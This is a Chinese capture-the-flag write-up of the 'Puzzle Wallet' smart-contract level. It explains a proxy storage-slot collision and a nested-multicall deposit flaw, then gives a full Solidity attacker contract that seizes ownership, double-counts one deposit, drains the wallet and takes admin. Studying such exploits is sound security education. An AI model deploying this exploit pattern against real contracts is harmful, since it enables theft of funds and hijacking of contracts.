Puzzle Wallet 题目 要求:成为admin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma experimental ABIEncoderV2; import "../helpers/UpgradeableProxy-08.sol"; contract PuzzleProxy is UpgradeableProxy { address public pendingAdmin; address public admin; constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) { admin = _admin; } modifier onlyAdmin { require(msg.sender == admin, "Caller is not the admin"); _; } function proposeNewAdmin(address _newAdmin) external { pendingAdmin = _newAdmin; } function approveNewAdmin(address _expectedAdmin) external onlyAdmin { require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin"); admin = pendingAdmin; } function upgradeTo(address _newImplementation) external onlyAdmin { _upgradeTo(_newImplementation); } } contract PuzzleWallet { address public owner; uint256 public maxBalance; mapping(address => bool) public whitelisted; mapping(address => uint256) public balances; function init(uint256 _maxBalance) public { require(maxBalance == 0, "Already initialized"); maxBalance = _maxBalance; owner = msg.sender; } modifier onlyWhitelisted { require(whitelisted[msg.sender], "Not whitelisted"); _; } function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted { require(address(this).balance == 0, "Contract balance is not 0"); maxBalance = _maxBalance; } function addToWhitelist(address addr) external { require(msg.sender == owner, "Not the owner"); whitelisted[addr] = true; } function deposit() external payable onlyWhitelisted { require(address(this).balance <= maxBalance, "Max balance reached"); balances[msg.sender] += msg.value; } function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted { require(balances[msg.sender] >= value, "Insufficient balance"); balances[msg.sender] -= value; (bool success, ) = to.call{ value: value }(data); require(success, "Execution failed"); } function multicall(bytes[] calldata data) external payable onlyWhitelisted { bool depositCalled = false; for (uint256 i = 0; i < data.length; i++) { bytes memory _data = data[i]; bytes4 selector; assembly { selector := mload(add(_data, 32)) } if (selector == this.deposit.selector) { require(!depositCalled, "Deposit can only be called once"); // Protect against reusing msg.value depositCalled = true; } (bool success, ) = address(this).delegatecall(data[i]); require(success, "Error while delegating call"); } } }
分析 这道题是有关于代理的,先来看看合约分别干啥:
PuzzleProxy
代理合约,题目给我们的instance也是这个
我们和这个合约交互,可以调用它本合约中有的方法,如果没有的方法会走到继承的父类的fallback,里面有delegatecall方法来去到实现类进行调用,也就是PuzzleWallet合约
PuzzleWallet
1.成为owner 任何人都可以调用下面的方法设置pendingAdmin的值,也就是slot 0 的值,在PuzzleWallet合约中也就是修改了owner的值
1 2 3 function proposeNewAdmin(address _newAdmin) external { pendingAdmin = _newAdmin; }
2.成为admin 要修改admin的值,也就是修改maxBalance的值。而能修改maxBalance的地方只有setMaxBalance()
。有个onlyWhitelisted限制,因为我们已经是owner了,所以我们可以用addToWhitelist()
将自己加入白名单。
1 2 3 4 function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted { require(address(this).balance == 0, "Contract balance is not 0"); maxBalance = _maxBalance; }
只要我们将参数_maxBalance
设置为我们的地址,然后调用成功就能修改admin了。但是有个条件,需要我们将Proxy合约的余额设置为0。
取钱的地方只有execute()
。但是按照正常逻辑deposit()
然后execute()
取钱是无法将合约余额置为0的,因为我们只能取出属于我们的那一部分,存多少拿多少。
1 2 3 4 5 6 function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted { require(balances[msg.sender] >= value, "Insufficient balance"); balances[msg.sender] -= value; (bool success, ) = to.call{ value: value }(data); require(success, "Execution failed"); }
Proxy合约为了用户可以将多个操作一次性执行完毕来节省gas,它在实现类里面写了一个批处理方法。要求我们传入一个bytes数组,里面要存放函数选择器,然后会解码出选择器并跟proxy和实现类合约进行比较,找到匹配的方法然后执行。接下来详细分析这个方法:
参数depositCalled:用于防止for loop + msg.value用一份钱来存多次记录金额。
for循环:data是动态数组,有多少个函数选择器就执行几次
selector := mload(add(_data, 32))
:根据abi编码中动态数组的规则,跳过offset,取32字节的实际数据。因为selector是4字节,取高4字节的数据,因为bytes是高位开始编码的,因此这里就取到了我们设置的函数选择器。
if (selector == this.deposit.selector)
:之前调用过deposit()
就不可以再次调用,用于防止for loop + msg.value用一份钱来存多次记录金额。
address(this).delegatecall(data[i]);
:delegatecall+代理调用匹配到的方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function multicall(bytes[] calldata data) external payable onlyWhitelisted { bool depositCalled = false; for (uint256 i = 0; i < data.length; i++) { bytes memory _data = data[i]; bytes4 selector; assembly { selector := mload(add(_data, 32)) } if (selector == this.deposit.selector) { require(!depositCalled, "Deposit can only be called once"); // Protect against reusing msg.value depositCalled = true; } (bool success, ) = address(this).delegatecall(data[i]); require(success, "Error while delegating call"); } }
编写合约的人已经意识到msg.value在循环中可能会被利用进行多次deposit,但是他考虑还是欠佳,这里还是存在漏洞的:bytes数组允许执行多个方法,那么我们可以这么操作:
bytes[0]:调用deposit()
,这时就记录下来deposit()
已经调用过,因此后续不可以再在这个上下文执行deposit(),注意是这个上下文
bytes[1]:调用multicall()
,也就是说我们在调用multicall()
的时候,再次调用multicall()
。这就是神奇的地方了:当address(this).delegatecall(data[i]);
:执行到这里的时候,会打开一下新的上下文,此时那个上下文还没调用过deposit()
。
为此我们构造bytes数组的内容:
bytes[0]:其实这里无论是encode,encodePacked还是怎么样都可以,因为是只取高4字节数据,并且是动态变长数组
1 abi.encodeWithSelector(level.deposit.selector);
bytes[1]:为什么data[1]第二个参数要写成deposit_data,而不一样写成level.deposit.selector
的形式呢?因为在level.multicall.selector
在解析为函数选择器来进行匹配进行再次multicall()
执行的时候,第二个参数的内容就会作为multicall()
的形参,因此也符合abi编码规范。而这个规范不是说直接abi.encodeWithSelector就可以的,要包装成一个bytes[]才行。因此需要传入一个bytes[],也就是deposit_data。
1 2 3 4 5 6 7 8 bytes[] memory deposit_data = new bytes[](1); deposit_data[0] = abi.encodeWithSelector(level.deposit.selector); bytes[] memory data = new bytes[](2); // 设置bytes[0] data[0] = deposit_data[0]; // 设置bytes[1] data[1] = abi.encodeWithSelector(level.multicall.selector,deposit_data);
假设我们deposit金额为0.001ether。构造好之后,攻击的逻辑是:第一次调用deposit()
时记录了balances[msg.sender]增加了0.001ether。第二次调用deposit的时候,一份msg.value重复使用,balances[msg.sender]又增加了0.001ether。此时结果为:合约中拥有题目部署时候的0.001ether+我们存入的0.001ether,即0.002ether。
此时我们就可以调用execute()取出0.002ether,使得合约余额为0,可以调用setMaxBalance设置maxBalance的值,也就是可以设置slot 1所在变量admin的值,设置为我们的EOA地址即可。
1 2 3 4 5 6 7 8 9 10 11 function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted { require(address(this).balance == 0, "Contract balance is not 0"); maxBalance = _maxBalance; } function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted { require(balances[msg.sender] >= value, "Insufficient balance"); balances[msg.sender] -= value; (bool success, ) = to.call{ value: value }(data); require(success, "Execution failed"); }
解题 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 pragma solidity ^0.8.0; interface IPuzzleProxy { function admin() external view returns(address); function proposeNewAdmin(address) external; function addToWhitelist(address) external; function deposit() external payable ; function multicall(bytes[] calldata) external payable ; function execute(address,uint256,bytes calldata) external payable ; function setMaxBalance(uint256) external; } contract attacker{ // msg.value = 1000000000000000 wei = 0.001 ether constructor(IPuzzleProxy level) payable { level.proposeNewAdmin(address(this)); level.addToWhitelist(address(this)); bytes[] memory deposit_data = new bytes[](1); deposit_data[0] = abi.encodeWithSelector(level.deposit.selector); bytes[] memory data = new bytes[](2); data[0] = deposit_data[0]; data[1] = abi.encodeWithSelector(level.multicall.selector,deposit_data); level.multicall{value:0.001 ether}(data); level.execute(msg.sender, 0.002 ether, ""); level.setMaxBalance(uint256(uint160(msg.sender))); selfdestruct(payable(msg.sender)); } }